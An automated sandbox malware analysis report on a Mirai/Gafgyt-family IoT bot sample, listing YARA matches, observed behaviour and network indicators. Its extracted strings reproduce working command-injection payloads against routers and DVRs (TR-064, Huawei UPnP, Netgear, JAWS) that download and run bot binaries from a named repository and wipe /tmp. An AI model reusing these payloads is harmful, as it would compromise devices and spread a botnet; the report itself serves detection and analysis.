Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;$
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;/tmp/.5r3
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.bestone.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37674
Source: unknown	Network traffic detected: HTTP traffic on port 37674 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.bestone.sh && chmod 777 /tmp/.bestone.sh && /tmp/.bestone.sh tr064.selfrep`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g github.com -l /tmp/huawei -r /rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;chmod -x huawei;/tmp/huawei huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g github.com -l /tmp/.oxy -r /rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.bestone.sh && chmod 777 /tmp/.bestone.sh && /tmp/.bestone.sh tr064.selfrep`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.bestone.sh && chmod 777 /tmp/.bestone.sh && /tmp/.bestone.sh tr064.selfrep`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g github.com -l /tmp/huawei -r /rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;chmod -x huawei;/tmp/huawei huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips+-O+/tmp/netgear;sh+netgear+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OK.5r3fqt67ew531has4231.arm.5r3fqt67ew531has4231.arm7.5r3fqt67ew531has4231.mips.5r3fqt67ew531has4231.mpsl.5r3fqt67ew531has4231.x86.5r3fqt67ew531has4231.sh4.5r3fqt67ew531has4231.ppc.5r3fqt67ew531has4231.m68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g github.com -l /tmp/.oxy -r /rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/mapsexe/proc/self/maps
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/watchdog/bin/systemdGET /upgrade_handle.php?cmd=cd${IFS}/root;${IFS}wget${IFS}https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7${IFS}-o${IFS}NiGgErVr;chmod${IFS}001${IFS}NiGgErVr${IFS}nvr;sh${IFS}./NiGgErVr${IFS}nvr;chmod${IFS}777${IFS}NiGgErVr${IFS}nvr;rm${IFS}-rf${IFS}*&writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1

Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;chmod+777+.5r3fqt67ew531has4231.arm7;/tmp/.5r3fqt67ew531has4231.arm7+varcron.selfrep
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;${IFS}sh${IFS}/var/tmp/.5r3fqt67ew531has4231.mips r7064.selfrep
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;chmod+777+.5r3fqt67ew531has4231.arm7;/tmp/.5r3fqt67ew531has4231.arm7+jaws.selfrep HTTP/1.1
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;sh${IFS}/tmp/.5r3fqt67ew531has4231.arm7${IFS}arm7selfrep&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips+-O+/tmp/netgear;sh+netgear+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;chmod+777+.5r3fqt67ew531has4231.arm7;/tmp/.5r3fqt67ew531has4231.arm7+varcron.selfrep%d.%d.%d.%dGET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;${IFS}sh${IFS}/var/tmp/.5r3fqt67ew531has4231.mips r7064.selfrepPOST /soap.cgi?service=WANIPConn1 HTTP/1.1
Source: Initial sample	Potential command found: GET /upgrade_handle.php?cmd=cd${IFS}/root;${IFS}wget${IFS}https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7${IFS}-o${IFS}NiGgErVr;chmod${IFS}001${IFS}NiGgErVr${IFS}nvr;sh${IFS}./NiGgErVr${IFS}nvr;chmod${IFS}777${IFS}NiGgErVr${IFS}nvr;rm${IFS}-rf${IFS}*&writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1
Source: Initial sample	Potential command found: GET /bestone/%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@2/0

Source: /tmp/.5r3fqt67ew531has4231.mpsl.elf (PID: 5452)

Shell command executed: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/.5r3fqt67ew531has4231.mpsl.elf bin/busybox; chmod 777 bin/busybox"

Jump to behavior

Source: /bin/sh (PID: 5457)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/busybox

Jump to behavior

Source: /bin/sh (PID: 5455)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /usr/bin/dash (PID: 5424)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ	Jump to behavior
Source: /usr/bin/dash (PID: 5425)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ	Jump to behavior
Source: /bin/sh (PID: 5454)	Rm executable: /usr/bin/rm -> rm -rf bin/busybox	Jump to behavior

Source: /usr/bin/chmod (PID: 5457)

File: /tmp/bin/busybox (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5457)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/busybox

Jump to behavior

Source: /tmp/.5r3fqt67ew531has4231.mpsl.elf (PID: 5450)

Queries kernel information via 'uname':

Jump to behavior

Source: .5r3fqt67ew531has4231.mpsl.elf, 5450.1.00007fffe1176000.00007fffe1197000.rw-.sdmp, .5r3fqt67ew531has4231.mpsl.elf, 5458.1.00007fffe1176000.00007fffe1197000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/.5r3fqt67ew531has4231.mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/.5r3fqt67ew531has4231.mpsl.elf
Source: .5r3fqt67ew531has4231.mpsl.elf, 5450.1.000056449b575000.000056449b61d000.rw-.sdmp, .5r3fqt67ew531has4231.mpsl.elf, 5458.1.000056449b575000.000056449b61d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: .5r3fqt67ew531has4231.mpsl.elf, 5450.1.000056449b575000.000056449b61d000.rw-.sdmp, .5r3fqt67ew531has4231.mpsl.elf, 5458.1.000056449b575000.000056449b61d000.rw-.sdmp	Binary or memory string: DV!/etc/qemu-binfmt/mipsel
Source: .5r3fqt67ew531has4231.mpsl.elf, 5450.1.00007fffe1176000.00007fffe1197000.rw-.sdmp, .5r3fqt67ew531has4231.mpsl.elf, 5458.1.00007fffe1176000.00007fffe1197000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel
Source: .5r3fqt67ew531has4231.mpsl.elf, 5458.1.00007fffe1176000.00007fffe1197000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: .5r3fqt67ew531has4231.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	2 File and Directory Permissions Modification	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
.5r3fqt67ew531has4231.mpsl.elf	61%	ReversingLabs	Linux.Backdoor.Gafgyt
.5r3fqt67ew531has4231.mpsl.elf	100%	Avira	LINUX/Mirai.bonb

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;/tmp/.5r3	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.bestone.sh	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;sh$	.5r3fqt67ew531has4231.mpsl.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;chmod	.5r3fqt67ew531has4231.mpsl.elf	false	high
http://purenetworks.com/HNAP1/	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7$	.5r3fqt67ew531has4231.mpsl.elf	false	high
https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.mips;$	.5r3fqt67ew531has4231.mpsl.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	.5r3fqt67ew531has4231.mpsl.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.217.10.153	unknown	United States		16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.217.10.153	m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	loligang.arm5.elf	Get hash	malicious	Mirai	Browse
	vqsjh4.elf	Get hash	malicious	Mirai	Browse
	x-3.2-.ISIS.elf	Get hash	malicious	Gafgyt	Browse
	m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	shindeVx86.elf	Get hash	malicious	Unknown	Browse
	linux_mips.elf	Get hash	malicious	Chaos	Browse
	assailant.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	dlr.arm6.elf	Get hash	malicious	Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	.5r3fqt67ew531has4231.ppc.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	162.213.35.25
	.5r3fqt67ew531has4231.arm6.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	162.213.35.25
	16RIueF7yh.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	memfd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	rarm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	s-.-pa.-rc.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	a.-.--.r.--m-.--5.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25
	p--.-pc.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	s-..-h-.4.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	MA-DS-2024-03 URGENT.exe	Get hash	malicious	FormBook	Browse	54.244.188.177
	https://desactivacion-correo.s3.eu-north-1.amazonaws.com/es.html	Get hash	malicious	Unknown	Browse	3.5.217.53
	https://app.droplet.io/form/Ko1loy	Get hash	malicious	Unknown	Browse	3.23.93.108
	bin.sh.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Request for Quotation.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	http://abercombie.com	Get hash	malicious	Unknown	Browse	3.160.188.18
	https://d3tl5rwi83n7i8.cloudfront.net/BMGe2dUrJpyz.exe	Get hash	malicious	Unknown	Browse	13.227.9.131
